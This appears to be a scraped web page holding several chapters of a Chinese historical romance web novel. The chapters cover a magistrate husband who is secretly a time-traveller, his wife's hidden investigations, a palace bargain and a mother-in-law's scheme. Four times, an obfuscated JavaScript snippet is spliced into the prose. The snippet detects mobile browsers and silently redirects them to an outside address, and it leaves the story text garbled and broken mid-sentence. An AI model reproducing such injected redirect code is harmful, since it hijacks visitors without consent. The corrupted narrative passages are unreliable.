往常府里用晚膳都是在正堂和臧翡祝正和一道,近来是祝清衡回府时间不定,温窈才每日都让青云院里的小厨房温着饭菜,好让他回来能及时吃上热食。 “我不饿,”祝清衡不由分说抬起她的下颌,眸光很快定在她左眼下的血疤上,“疼吗?” “……不妨事,”温窈不意外他已得知事情来龙去脉,长睫轻颤着避开他的目光,生硬地问起旁事,“我听说宫里来人寻你,是有案子……” “生子药你喝了多久了?”祝清衡仿佛听不见她刻意转移的话题,嗓音很低,“为什么不告诉我?” 温窈背脊微僵,臧翡竟是连此事也捅了出来,她不知道说什么,张唇说不出话。 “母亲确实着急子嗣,但我不想你为此委屈自己,”祝清衡温热的指腹轻轻擦过那道红痕,他的声音和他的动作一样轻,“我虽喜欢孩子,可成婚那日我与你约法三章时便已做好了无嗣的准备……窈窈,你能与我心意相通,我已满足了。” 当年温窈被逼无奈嫁给他,他却是甘之如饴。他和温窈青梅竹马不假,他对温窈倾心已久,温窈却只将他视作单纯的好友。她分明有着超脱同龄人的聪慧,感情上反倒像孩子般天真,直到那件事之前,她也不曾察觉祝清衡的感情。 祝清衡心知肚明,成婚之前,温窈从未对他有过别的情意。因此当他知道温丞相曾和他父亲定下过两人的娃娃亲时,他的第一反应是隐瞒。 如果让温窈得知,她必然不会接受,甚至会对他疏远。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181871|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 后来两人的婚约被强行履行,他害怕温窈厌恶他,所以新婚之夜主动提出约法三章,和她划清界限。他了解温窈,温窈虽不喜欢他,可他们认识了那么久,只要他先让步,温窈便不会让他们都难堪。 他想,近水楼台,温窈在他身边,总有一日会看到他。 好在,他确实如愿以偿,一点一点捂暖了她千疮百孔的心。 “……我知道,”在成亲前她便知道祝清衡对她不只青梅竹马的情意,可惜他们真正相爱的时候已发生了太多难以更改的事情,温窈抚住男人的手腕,“我既愿意做你的妻子,怎会不愿意为你生儿育女,只是……” 祝清衡眸光闪了闪,“只是什么?” “再给我一些时间,”温窈抿唇,温声说,“到年后,我便不再避子。” 祝清衡神色怔忡地望着她,似乎不明白她这样做的原因,最终却没有问出口,只是将她揽到怀中,沉默地抱着她。 “窈窈。”许久,他道。 温窈轻轻“嗯”了一声。 “昨日你回丞相府,”祝清衡喉头滚了滚,试探着问道,“岳父是不是……为难你了?” 温窈像是没料到他会突然问起此事,轻攥着男人衣襟的指节紧了紧,“怎么忽然这么说?” “你昨日回来看起来心情不好,”祝清衡斟酌着,小心说,“我闻到你身上有膏药的气味,温丞相……又让你罚跪了么?” 温窈罕见地没有回答,祝清衡怀抱着她,看不见她脸上的神情。 “我的意思是,若是你下次想回丞相府,我和你一起好吗,”像是怕温窈误会,祝清衡的语气听起来更紧张小心,他松开怀抱低头看着女人皙白温和的面容,“我只是想尽可能帮到你,窈窈,我和你一起,他就不会……” “好。”温窈抬起脸,朝男人弯了弯唇角,“下次归府,你便同我一起吧。” 她答应得太快,祝清衡反倒怔了一下,不等他再说什么,温窈已经退后一步,转身要去唤琉锦她们,祝清衡连忙拽住她的小臂,“窈窈,我……” 温窈回眸看向他,“嗯?” 祝清衡觉得他是想说什么的,比如温窈嫁给他之前他和山辛夷见过面说过一些话,比如他其实是穿越来的现代人,二十多年终于有了除他之外其他来自现代的消息,再比如温长风昨日下午命人去大理寺给他送了一封信,信里说…… 他看着温窈宛如盛着月光和粼水的双眼,嗓子却像被石子堵住,艰涩得发疼。 “昨晚的那副字,”祝清衡缓慢地说,“是和近来的一个案子有关,所以我……” “好,我知道了,”温窈轻轻挣脱他的桎梏,神色如常道,“断案是要事,也要注意休息……你还没吃晚膳,先去将衣服换了,我去叫人上菜。” 祝清衡颌角绷直,视线落在空了的手掌上,半晌呼出一口气。 他不是故意要对温窈说谎的,只是怕温窈知道了真相会没有安全感胡思乱想。 况且…… 祝清衡听着屋外传来温窈模糊的吩咐声。 窈窈,你也对我说谎了,不是吗? 12. 落日故人情 次日祝清衡照例早早去上朝,温窈将他送至屋前,目送他的背影离开青云院。 男人走前曾说,今晚大概会晚归,即便薄岑等人的案子已移交旁人,但方宏山被停职,大理寺内忙得不可开交,他作为少卿,自然没有早退的道理。 温窈对此很是理解,忽视了竹山进出书房的行迹,径直回了寝房。 如今是十一月月初,每月此时臧翡都会命她随同去清查祝府名下当铺,哪怕昨日她们才生了龃龉,可既要体面,便不得不牺牲一些事情。 她在妆台前坐下,拾起石黛笔对镜轻描着眉色。 “少夫人,”琉锦进屋来,走到她身边才从袖中取出一卷麻丝系着的薄纸放在台边,轻声道,“是阿堂。” 温窈指尖微顿,转眸看向琉锦。 不论是此前山辛夷借千木传信,还是阿堂汇报,都会在每月十五前后,这是他们的约定。 山辛夷无人传信会引起温窈怀疑,而阿堂提前送信来,只会说明有等不到月中的要事。 温窈放下黛笔,打开薄纸细细读过上面字迹,蓦地笑出了声。 琉锦疑惑,“姑娘?” 温窈转腕将手中书纸递给琉锦,琉锦犹疑着接过看了,脸色却没好看多少,“……这,您如何笑得出来?” 阿堂纸上写,一月前他收在书肆的那幅字的主人正是目睹薄岑身死的青楼女柳瓷,可偏偏祝清衡看中那字时凶案尚未发生,总不能是未卜先知。 而越是如此,男人的言语行径便更诡疑起来。 “‘举头望明月,低头思故乡’,的确是首好诗,”温窈望着铜镜里映出的面容,缓缓道,“柳瓷并非长安人,有思乡之情理所应当,可清衡生在长安长在长安,他所思念的是什么呢?” 以柳瓷写出的走笔,远达不到让书肆破例收取的程度,阿堂将它留下,是温窈的意思。 诗字挂出后,不是没有人欣赏此诗,但都惋惜其执笔生疏,故而字一直留在书肆。 月余后,温窈出了银钱“买下”,其中六成分给柳瓷,四成归了城南书肆,阿堂便把它收了起来,只是他们都没想到,此诗最后竟会莫名与祝清衡扯上了干系。 “可要是……”琉锦叹气,点了火折子将纸烧成一指落灰,“要是本就不是思乡呢?” 温窈说得不错,祝清衡根本无“乡”可思,缘何会对这句诗情有独钟,甚至不惜欺骗温窈,也要掩盖拿回那幅字的真正目的。 祝清衡洁身自好,从不流连烟花柳巷之地,长安人人皆知。 二十余年都不曾露过马脚、宁愿无后也坚守只温窈一人之承诺的男人,竟终究也只是短暂的骗局吗? 温窈半垂着眼帘,沾了口脂的指腹擦过唇肉。 “走吧,”温窈说,“该知晓的时候便会知晓了。” …… 柳瓷以为,即便祝清衡在暗中寻她,也不会如此之快地找上门来。 大理寺的衙役围上来时,她正在雅间为贵客抚琴。 雅间的天花她做了改造,嵌了一箱暗匣,而暗匣的开关被几乎透明的鱼线勾连在她指间的玉戒上,按弦时稍使力气,蕴着馨香的杏色花瓣如飞絮旋然而落,倾飘在她的发丝和肩头,仿若花色人面。 “……清衡?” 沈道南本全然被眼前人与花吸引去了注意,然而大理寺衙役的官服实在显眼得惊人,闯进雅间的模样也着实算不上友好,让他猛地从矮塌上惊坐起。 祝清衡抬眸扫了天花一眼,目光转向矮塌上的男人,“你这是……?” “闲来无事听个曲儿,”沈道南耸了耸肩,什么旖旎心思都消了,眼神自祝清衡带来的人上一一掠过,啧啧道,“你这是要掀了春怡楼么?在下可什么都没干啊!” “有桩案子,”祝清衡无视了他的插科打诨,沈道南同他是多年好友,脾性他很清楚,不必他过多解释,于是眼神回落到跪坐琴边的女子身上,“本官需要同这位……柳姑娘,谈一谈。” “好罢,”既是公事,至交好友的面子还是要给的,沈道南勉强哄好自己被扫了的雅兴,起身往外走,边走还边招呼着祝清衡带来的衙役,“走走走,到外头等着去,大摇大摆地堵在这人家还怎么做生意啊?” 沈道南乃宫中卫尉,哪怕衙役们不认得他,单瞧祝清衡对他纵容的态度,也知道他身份不低,一时不知如何作为。 祝清衡瞥见急忙赶来的探看的老鸨,淡淡道:“都去吧,且在楼外等本官半个时辰。” 衙役们这才领命离开,曹梦丽眯了眯眼,她自是认出了来人是大理寺少卿,试探着上前问道:“官爷特地来寻柳瓷,可是她犯了什么事?” “大理寺有一桩案子与她有关,本官只是例行询问。”祝清衡面无表情看向被他带来的人吓得一扫而空的前堂,轻扯出一个称不上笑的笑,“扰了妈妈的生意,本官深感抱歉。” 他既说是例行询问,曹梦丽便没有由头再多问,只回头阴了脸狠狠剜了柳瓷一眼,道:“大人问你话,必要如实答了,莫再惹是生非。” 说罢曹梦丽也不再多留。柳瓷在春怡楼的两月余确实给她带来了不少利益,但麻烦也是一踵接一踵,特别是惹上的还是官府衙门的人。 若她一直如此,就算把春怡楼翻修成皇宫也不会有人常来了! 待喧嚣逐渐远去,柳瓷仍是跪坐在原处,轻巧挥下肩上残留的花片,道:“该说的奴家在大理寺牢狱早说清了,昨日伏龙使也已来过,不知大人还想问什么?” 言下之意,谁都知道薄岑的案子已经交给伏龙使去办了,祝清衡口中所谓的“案子”,怎么都耐人寻味。 祝清衡沉沉望着她,他立在门前,柳瓷坐在琴后,足够他居高临下地将人反复打量,仿佛要在她身上找到什么蛛丝马迹。 柳瓷眉尾微扬,“祝大人?” 说实话她对祝清衡的印象并不好,牢狱中男人审讯她时那张轻蔑不耐的嘴脸令她不适至极,要不是她…… 祝清衡收回视线,在房中寻了一只矮凳坐在她不远处,“我没记错的话,你叫柳瓷。” 柳瓷:“……大人究竟想问什么?” “‘举头望明月,低头思故乡’,”祝清衡黑瞳注视着女人,“这句诗,是出自你手,对否?” 柳瓷面色未改,却沉默不答。 “这么好的诗,为何仅有下半句呢,”祝清衡仰头望向看似毫无破绽的天花,缓而慢道,“我想请教请教柳姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181872|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它的上半联,应当是什么呢?” “祝大人认为呢,”柳瓷没有抬眸看他,目光似是浮在空中,“祝大人既然对这首诗感兴趣,想必对上联已有想法。” “祝某以为,此诗不该出自你手。”祝清衡问,“柳姑娘是传话,还是冒名?” 雅间内又一次陷入了沉寂,仿佛空气一并凝滞。 少顷,祝清衡将带来的卷轴摊开在女人面前,淡淡道:“将自己主动暴露在旁人眼前,不是明智的做法。” 柳瓷眸瞳微动,眼中倒映出那幅字的模样。 她当然知道,穿越之事在大兖恐会牵扯出鬼神异世一说,她在不清楚大兖是否有其他穿越者时,本不该莽撞地先暴露自己。 若其他穿越者心怀不轨,她有一万种不明不白的死法。 “我想,”柳瓷莫名说得很吃力,声音有些沙哑,“异乡遇故知,总会有几分同病相怜。” 这种想法太天真也太可笑了,像待宰的羔羊微笑称赞恶狼强健的体魄。 柳瓷不再说下去,反问道:“我更好奇,祝大人所知的上联,是什么?” 床前明月光,疑似地上霜。 现代连幼童都能脱口而出的诗句,早就刻在祝清衡的灵魂骨髓里。 心里默念过无数遍的诗句,此时他却始终没有开口,只道:“你若想离开春怡楼,我可以帮你。” 柳瓷神情似是变化一瞬,半晌说:“……离开了春怡楼,我一样无处可去。” 原身从九粟城逃难而来,本就是捡回来的一条命,沦落青楼说白了也只是为了讨口饭吃。 在没有本钱的情况下离开谋生之地,无异于自取灭亡。 祝清衡眉头皱起,起身问道:“你来多久了?” 她下意识想回答她到春怡楼的时间,旋即反应过来男人问的是她穿越来的日子,“今日是第七十九天。” 祝清衡睨了她一眼,忽地觉察出一丝奇异的割裂感,片刻后才问:“你先前是做什么的?” 柳瓷道:“中医。” 祝清衡想起那日在薄岑胸口验出的指痕,心道自己早该猜到的,便接着问:“学过西医吗?” 柳瓷怔了怔,道:“学过一些。” “我可以帮你改头换面,还可以借你银钱开一家医馆,”祝清衡语气没什么起伏,像是施舍又像是同情,“日后医馆盈利,前三年分成我六你四,之后分成我三你七,如何?” 听起来像祝清衡是菩萨转世,要来普渡众生了,柳瓷迟疑地点了点头。 她顿了顿,道:“我虽算与你是同乡,可……” 明显吃力不讨好的事情,仅仅因为一个“同乡”的身份,就能让祝清衡付出如此之多么? “自然不是因为这个,”祝清衡理了理官袍袖缘,流露出无形的骄矜傲慢,“我还要你帮我做一件事。” 柳瓷握了握发凉的指节,“什么事?” “届时你自会明白。” 祝清衡远没有自己想象的有耐性,临走时只撂下一句“两日后会有人来赎你出楼”便转身离开。 柳瓷僵坐着,手脚后背隐隐出了汗。 她从来不信天上会掉馅饼,祝清衡这样的人,不可信。 13. 片云天共远 御花园中央蓄了一方池湖,水色清亮,游曳的绿草间偶有红鲤金鱼穿过。 一身玄衣的男人伫立池边,手中持着金匙,漫不经心地往池中撒着饵料。文福捧着盛鱼饵的青釉瓷碗候在他身后,而男人的另一侧,赫然是单膝跪着的谢子。 “……属下等已追溯到毒源,确是来自南苗,名叫无色散,因可溶于水中不被察觉得名。据回报伏龙使所述,此毒在南苗并不常见,但也非稀品,稍微花些银钱便能买到。”然而大兖律法严禁大兖子民与南苗交易药物,一经查获牢灾五载;南苗人则除有大兖通牒者不得随意踏入大兖领地,而南苗拥有通牒的人屈指可数。 此人既有从南苗人手中取得毒物的渠道,又不受两地限制行动自如,甚至将南苗的毒送千风似的送进了长安…… 谢岐问:“偷渡客查了么?” 所谓富贵险中求,大兖与南苗边界之地总有亡命徒愿意顶着杀头牢狱的风险暗中交易买卖,或许这副无色散便是几经转手到了凶手手中,正好借此混淆视听。 “查了,”谢子脸色犹疑,“伏龙使暗抓了几个偷渡客,可他们一律都说,无色散虽是南苗独有,却无有什么名气,所以寻到他们‘偷渡’的药物中基本不会出现这种毒物。” 金匙被撂到瓷盘上发出一声叮响,皇帝平和的声音落下,“基本?” 谢子沉声道:“……只有三年前,有人找到其中一个名为花农的偷渡客要无色散,且是点名只要无色散。” 三年前,比十三年前更巧合的时间。谢岐轻呵,转而问:“周天辰的案子如何?” “幕后之人妄图用周大人的死将长孙氏灭门案重翻出天,”谢子说,“周天辰确为俞永所杀,但属下认为,俞永的所作所为是有人特意引导为之。” 且不说俞永一个侍奉周天辰多年的仆从会突生反心已足够奇怪,再者那位让周天辰主仆反目成仇的“姑娘”,竟是在此案发生后半点音讯踪迹也无。 周天辰的案子已拖了三月余,而薄岑过了头七,他的案子似乎亦没了后续。 皇帝道:“明日你便放出消息,伏龙使彻查两案后确认为背后有同一人谋划,而罪魁祸首,兴许是十三年前真正的长孙氏遗孤。” 谢子怔了一瞬,旋即领命。 “陛下,还有一事。” 谢子正要开口,文福忽地上前打断他,“陛下,长公主殿下来了。” 话音刚落,永平裙裳的纹路便出现在三人视野中。谢岐面无异色,只眸光看向谢子,示意他接着说。 谢子飞速道:“永庆侯世子薄珏已到长安。” 传言薄岑日日花天酒地不着正调,唯独对薄珏这个同父异母的弟弟十分照顾,如今看来,薄珏对薄岑也并非没有兄弟情义,竟千里迢迢从淮南赶了回来。 满打满算,恐怕薄岑身死的消息甫一传到淮南,薄珏便快马加鞭往长安赶,才能在今日抵达。 皇帝似乎对此无甚关心,谢子瞥了一眼越来越近的华裳颜色,不再犹豫先行退下。 “若这般怕我通风报信,陛下便不该允许我此时进御花园。”永平目不斜视,仿佛不在意匆匆离开的谢子,十分有分寸地在离皇帝三尺远之地停下,道,“不知陛下特地召我来,所为何事?” 御花园内冷寂得有些过分凄凉,除三人外再没有旁人、乃至一个太监奴婢的身影,偌大的皇宫倒像冷清凄然的墓地。 永平看着眼前这个仅比自己小一岁的皇帝,眼中却不见半分对弟弟的纵容或怜惜。 即便她与谢岐是一母同胞的亲姐弟,即便谢岐如今是一人之下万人之上的皇帝,永平仍旧很难说服自己对这个人产生利益外的感情。 帝王皇家,本就不该有什么多余的情分。 再说谢岐根本就是一个冷血怪物。 谢岐也没有同她寒暄的打算,开门见山道:“请函。” 永平眼皮跳了跳,心道早该猜出他专门召自己进宫的目的,瞬间已悔青了肠子,“我听不懂陛下的意思。” “有人以仇山的名义筹办了一场义卖会,”谢岐淡淡道,“谢袖,你有请函。” “所以呢,”对方轻巧又理所应当的态度令她火气横生,谢袖掀眼正视着男人,咬牙道,“陛下还要强夺不成?” 谢岐依旧面如寒山,“朕是皇帝,有何不可。” 谢袖:“……” 她几乎不可置信,谢岐竟已将不要脸三个字练就到这般炉火纯青的地步。 幸好皇帝还是爱惜自己的颜面,谢岐转而慢悠悠开口先给出条件,“朕听闻,长姐想要潜周城的城舆图已久。” 谢袖深谙谢岐城府之深、心肠之狠,不动声色道:“我一个久居内宅的女人,要城舆图做什么?” 候在谢岐身侧的文福仍捧着那只青釉瓷碗,适时迈步将其送至谢袖面前。 细碎的饵料之中,隐隐露出轴木纸色。 堂堂边关要城的舆图,就这么被他塞进了鱼饵里?谢袖只觉额角青筋绷胀,颇有一种将做出此事之人的脑袋按进饵料的冲动。 谢岐恍若未觉,不觉得何处不妥,“请函。” 谢袖眸光沉沉地望着那卷轴纸,似是在思虑考量,良久欲伸手取之,文福却捧着瓷碗退后一步。 谢袖:“……这又是何意?” “请函,”谢岐说,“一手请函,一手舆图,银货两讫,长姐何解?” 谢袖:“……” 永平长公主诡异地沉默半晌,道:“我总要先看看这里面是否当真是我要的东西。” 文福笑道:“长公主放心,此乃潜周城刺史上交面圣的原物,轴、纸皆由特殊材料所制,不会被饵料侵染,是陛下亲自放进这饵碗中的。” 谢袖凤眸微狭,若她的好弟弟谢岐是冰山重塑,那谢岐身边的文福就是只笑面虎。 常言道伸手不打笑脸人,谢袖轻扯了扯唇,似笑非笑道:“既然如此,文总管便随本宫回长公主府,取、请、函、罢。” 文福抬眼看向谢岐神色不变的面容,便知他是默许了,于是亦笑盈盈回道:“是奴婢的荣幸。” 谢袖睨了文福一眼不再理会,转身要走时,忽又想起了什么,侧向谢岐的凤眼中流露出两分幸灾乐祸,“陛下叫我一声长姐,那我便多提醒您一句——陛下牺牲如此之大,那个人却不一定会出现,于您而已,倒不是一笔划算的买卖。” 谢岐道:“管好你自己。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185597|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可惜这张令人作呕的脸上看不出到底有没有刺激到他。 谢袖稍有遗憾地冷哼一声,拂袖而去。 …… “少夫人,大夫人正寻您呢。”徐嬷嬷探究的眼神落在温窈身上,老态的脸上笑意惺惺,“您在外头发什么愣啊。” 温窈敛眸像是轻笑了笑,道:“看到了一个熟人。” 熟人? 徐嬷嬷狐疑望向方才温窈看的方向——那处是烟花柳巷聚集之地,能有什么熟人……? 徐嬷嬷突地心里一惊,回过神时温窈已带着琉锦琉银进了铺面。 玲珑布庄是祝府名下最大的一家铺面,在长安城小有名气,平日祝府基本都靠它盈利分成,因此也是臧翡看得最为重要的店肆。 温窈作为儿媳,自是只能跟在臧翡后面。 过去臧翡带她出府巡检铺面,鲜少会到玲珑布庄来,毕竟臧翡不过三十余岁,不会轻易将府中中馈全权交到儿媳手中,也不会放心事事交由温窈过问。 恰巧温窈从没有与她争掌管家的想法,臧翡避讳她去的地方,她便不会私自踏足,以免主母多心。 是故玲珑布庄此地,温窈嫁进祝府三年来还是头一次这么细致地观看。 长安城布庄不算少,玲珑布庄能脱颖而出完全得益于臧翡出身岭南的背景,布庄内多卖的是岭南的造布,走线花案与旁的州城截然不同,因此颇受长安城内百姓青睐。 “这是岭南织娘新送来的绸布,”一道轻柔的嗓音在温窈耳畔响起,宛如柔软丝滑的绸缎,“少夫人若是喜欢,可以交由布庄为您裁量做衣。” 温窈顿了顿,温声回道:“不必了。” 祝府每年四季都有固定的时间请缝人上府量身制衣,温窈对衣裳不热衷,没必要铺张。 “您有喜欢的布罗可以直接交给我,”那女子说,“少夫人可以唤我阿雯。” 阿雯。 温窈眼睫轻动,已然明白臧翡今日一反常态将她领来玲珑布庄的目的。 “阿雯,过来。” 果然,下一瞬臧翡言语亲昵地唤着阿雯,神情是温窈少见的温和欢喜,“近来在布庄过得可还好?” “特别好。”阿雯很快将注意力从温窈身上移开,快步走到臧翡跟前,立即便被女人握住了手。 阿雯吐了吐舌头,展现出的俏皮和亲近更是旁若无人,“姑……托大夫人的福。” “这里没有外人,该叫什么叫什么便是。”臧翡为阿雯理了理鬓边发丝,面容慈祥得如同看待着自己的亲生女儿,又像是骤然才想起温窈的存在,脸色肉眼可见地淡了淡,不得不对温窈介绍道,“阿雯,闺名臧舒雯,是我娘家的侄女,前一阵才到长安来,想着今日碰巧,就让你们见上一见。” 可到底是真碰巧还是有意为之,在场之人皆心如明镜。 温窈朝臧舒雯颔首示礼,“阿雯姑娘。” “早就听闻表嫂美名,果然百闻不如一见,”臧舒雯含笑道,“说起来,我来长安这段日子,还未见过表哥。” “清衡近来职务繁忙,很快就有机会了,”臧翡安抚地拍了拍臧舒雯的柔荑,意味深长道,“届时,我可得为你们好好引见。” 14. 永夜月同孤 臧翡口中的“引见”,便是顺理成章将臧舒雯从玲珑布庄接回了祝府。 三人同坐一辆马车,回府路上只姑侄间偶尔说些小话,温窈既不探听也不插嘴,像是漠不关心。 单凭方才在布庄里臧翡的意思,臧舒雯到长安来一月有余,本就是臧翡的安排。 而臧翡非但不曾在府内声张,反而悄无声息地让臧舒雯在府下的布庄做事,其中心计,早在臧舒雯现身的那刻昭然若揭。 她是在向温窈威示警告—— 那日她所说的“有人取代你的位置”并非虚言恐吓。 瞧,她的亲侄女,落落大方、温婉可人,一个比温窈更适合做祝家儿媳的人选近在咫尺。 而温窈呢,除去一身虚名和一张惑人皮相,眼高于顶不说,还三年未诞下子嗣,又凭什么有胆气和她叫板,当真以为祝家非她不可么?! “我虽到长安有一阵,可对地方还不熟悉,”臧舒雯仿佛感觉不到她们之间的暗流涌动,看着温窈道,“若表嫂有空暇,能否带我在长安四处看看?” 臧翡微不可察地蹙了蹙眉头,到底没有制止。 既是臧舒雯主动提出,温窈自然不好拒绝,回道:“臧姑娘可随时来我院中。” “好了,过会你差人去大理寺,告诉清衡今晚早些归府。” 马车渐渐停下,徐嬷嬷在外低声传报已到府前,臧翡却不急着出去,不紧不慢地说,“就说府上有贵客,要一道用晚膳。” 她吩咐事情时甚至目光都半点未分给温窈,说完便带着臧舒雯下了马车,反倒是臧舒雯面露歉意,似是十分同情温窈的境遇。 “母亲。”温窈落在她们后面,在臧翡越过府门前叫住了她。 “今晨清衡走时说,寺里太忙,要比平日晚一个时辰下值。”温窈语气平缓,声音一如既往淡然,“恐怕晚膳的时间要推迟些。” 臧翡背影微顿,回眸望向她神色依旧的面容。 好得很。 臧翡冷嗤一声,一言不发径直回了瑾华院。 “姑娘。” 主母回了府,府前便不需要人伺候,眨眼间只余温窈主仆。 琉锦抿了抿唇,与琉银相视一眼,终究没有再说什么。 前有豺狼后有虎,苦苦维持出的如薄冰一般的安稳,怕是要破碎了。 …… 温窈命竹山去大理寺传了话,哪怕祝清衡心生抵触,但此事是臧翡安排,他总要给母亲面子。 再说如今温窈同臧翡的关系几乎势如水火,倘若祝清衡不在其中调和,早晚会出事——臧翡不会将气撒到他身上,可温窈常在府中,免不得遭罪。 他清早和温窈说要晚回,臧翡又要求他早归,如此既不能准时回府叫温窈生疑,又不能到太晚使臧翡难堪,只得掐算着时候,比平日里晚了半个时辰回去,全了两边的颜面。 “这是你舒雯表妹,刚到长安不久,”不知是不是臧舒雯到来的缘故,臧翡今晚瞧着心情颇愉,换了一身花青色褂襟坐在祝正和身侧,眉眼含笑,“清衡,你便坐舒雯边上吧。” 他明媒正娶的妻子就在席上,他却要与素未谋面的表妹同坐一排……祝清衡脸色不大好看,还未拒绝便听臧舒雯道:“姑母您糊涂了,哪有让表哥坐我旁边的道理。” 祝正和扫了还站在原地的祝清衡一眼,臧翡虽没同他事先打招呼,可为官这么多年他哪看不出臧翡的用意,一并打圆场道:“近来大理寺事多,你也累了,快坐吧。” 臧翡敛了笑意,祝清衡垂眼没去看她的脸色,快步走到温窈身边坐下。 祝正和无声拍了拍臧翡的小臂,忽略骤然冷下的场席,道:“都是自家人,不见礼,动筷吧。” 话是这么说,直到见祝正和动了筷子,几人也才拾起漆筷。祝清衡先夹了一块桂花小排放进温窈碗中,不经意道:“你爱吃这个。” 臧舒雯眼观鼻鼻观心,自己往嘴里塞了一口米饭。 她本就是被臧翡一纸去信拉到长安来的,她爹臧邢是个扶不上墙的阿斗,岭南臧氏后继无人,日益没落,这么多年只有一个臧翡在长安还算个有头脸的人物,因此臧邢一打听得知祝清衡娶妻三年仍旧无子,便明白了臧翡的意思,马不停蹄将臧舒雯打包送了过来。 她在长安的日子不长不短,但足以让她从风声里了解祝府的状况——祝家父子同朝为官,祝正和身居高位,祝清衡前途无量,而她这位表嫂温窈是当今丞相的独女,才貌为人无可指摘,唯一被诟病的便是没为祝家诞下孩子。 而臧翡大费周章把她找来,早就和她说得很清楚。 一是看中她是“自家人”可帮衬一把,二就是要撮合她和祝清衡,好为祝府生下子嗣。 至于臧翡说的“母凭子贵”、“诞下长子后便让祝清衡将她抬为平妻”云云,臧舒雯还没傻到信以为真。 她早就听说祝清衡对温窈情深意切,从未与其他女人有过纠葛。眼下再看对面男人记挂在意温窈的模样,臧舒雯还有什么不明白的。 不过男人嘛,说一套做一套再表演一套,就是不知道祝清衡究竟能不能为了温窈抗下臧翡的意思了。 “阿雯初到长安,人生地不熟,”臧翡没吃多少,叫人给臧舒雯单独上了一碗鱼羹便放了筷子,“近来我腿脚不适难尽地主之谊,清衡,待你手头的事忙完便抽些时间,带你舒雯表妹四处转转。” 明明白日臧舒雯才向温窈提了此事,过了几个时辰同一件事就改落到了祝清衡头上。 祝清衡咽下最后一口饭,不慌不忙喝了半杯水,又用帕子擦了擦唇,才回道:“方大人被罚职,如今大理寺管事的只有儿子一人,实在脱不开身。” 臧翡看了他一眼,还要开口说什么,却听祝清衡又说:“表妹是女眷,儿子一个男人本也不方便照顾,母亲不如安排府里的婢子陪同表妹,岂不是更为合适?” 臧舒雯默默搁下汤匙取出素帕拭嘴,心道祝清衡三言两语连温窈也摘出去了,恐怕再说下去安排给她的婢子也要抹掉了。 她倒是时刻记着臧翡交代她的话,不好一直当哑巴,接着祝清衡的话道:“我却对表嫂一见如故,不知表嫂可否与我一道,也能互相有个照应。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191582|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很聪明,没有将目光放在祝清衡身上,而是望向温窈,“表嫂,你觉得呢?” 祝清衡目光掠过臧舒雯温柔带笑的脸,他虽此前没见过这个表妹,但显然她是臧翡的人,话里话外直奔着温窈去,鬼知道她找温窈会闹出什么幺蛾子,于是语气谈不上多好,“小窈近来有些风寒,不宜……” 臧舒雯心里翻了个白眼,微笑打断祝清衡的话,“表哥,我在问表嫂呢。” 祝清衡:“……” 温窈与臧舒雯坦然的目光相视,指尖安抚般搭在男人手背上,对臧舒雯轻声道:“表妹愿意与我一道,我自然也愿意作陪。” 祝清衡拧眉要开口,眸光触及温窈覆在他手上的柔荑,到底把话咽了回去。 “那便最好不过了,”臧舒雯转向臧翡,眼神示意她安心,“姑母,就让我与表嫂一起吧。” 臧翡眸色沉沉,正堂内外都是侍女小厮,话说到了这个地步,她若不允,才是真的让所有人都下不了台,“随你们罢。” 她胸口压了气,只觉桌席上处处看不顺眼,起身道:“我有些乏了,今日便到这。” 有臧翡在,祝正和向来说不上什么话,偶尔充当和事佬,臧翡回了院里,他也无心再用膳,对臧舒雯道:“你姑母就是这个性子,不必往心里去。你在长安只有你姑母一个亲人,要是有难处便与你姑母直言,都是一家人,不要见外。” 臧舒雯乖巧回道:“侄女知道了,多谢姑父。” 祝正和点了点头,又要对祝清衡嘱咐什么,祝清衡却先一步拉着温窈站了起来,“爹,我和小窈都吃好了就先回去了,您慢用。” 祝正和:“……” 他额角跳了跳,便听臧舒雯也说了告辞,无奈挥了挥手背允了他们离开。 正堂内只剩他一人,不多时堂外匆匆走进一仆从,附耳与他说了什么。 